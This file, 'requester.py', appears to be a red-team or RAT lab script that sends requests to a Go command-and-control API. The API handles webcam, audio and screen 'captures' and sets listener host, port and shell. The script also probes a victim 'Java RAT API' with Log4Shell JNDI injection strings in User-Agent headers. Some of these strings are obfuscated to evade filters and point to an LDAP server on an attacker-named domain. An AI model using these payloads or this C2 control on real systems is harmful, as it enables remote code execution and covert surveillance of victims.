requester.py

###env
red_url     = 'http://192.168.113.9'
victim_url  = 'http://192.168.113.13:58860'
go_url      = red_url + ':2080'
apache2_url = red_url + ':2022'
###env

#// RED                                     |
### Go API                                  |
### -----------							    |
get(go_url + '/');                          # GET root endpoints
get(go_url + '/captures');                  # GET captures
post(go_url + '/captures', json = {         # POST captures
    "TYPE":"WEBCAM/AUDIO/SCREEN",
    "TITLE":"SAMPLE",
    "TIMESTAMP":"07/14/22 12:59:02",
    "ENCODING":
    {
        "EXTENSION": "jpeg/wav/png",
        "BASE32":"KNAU2UCMIUFA===="
    }
});                  

get(go_url + '/properties');                # GET properties
patch(go_url + '/properties', json = {      # PATCH properties
    "HOST": "192.168.159.9",
    "PORT_JAVA_HTTP": "",
    "PORT_LISTENER": "",
    "SHELL": ""	
});

### Apache2 HTTP							|
### ------------							|
get(apache2_url + '/');                     # GET root

#// VCITIM 									|
### Java RAT API							|
### -----------								|
get(victim_url);   				# GET root payload
get(victim_url, headers = {		# GET root payload (custom header)
#	'User-Agent': '${java:runtime}'
#	'User-Agent': '${java:version}'
#	'User-Agent': '${env:PATH}'
#	'User-Agent': '${jndi:ldap://192.168.159.9:2038/cn=1807422020,dc=attacker,dc=com}'
#   'User-Agent': '${${lower:${lower:jndi}}:${lower:${::-l}${::-d}${::-a}${::-p}}://192.168.159.9:2038/cn=1807422020,dc=attacker,dc=com}'
    'User-Agent': '${${env:PATH_DUMMY:-j}nd${sys:SYS_DUMMY:-i}:${lower:${::-l}${::-d}${::-a}${::-p}}://192.168.113.9:2038/cn=1807422020,dc=attacker,dc=com}'
});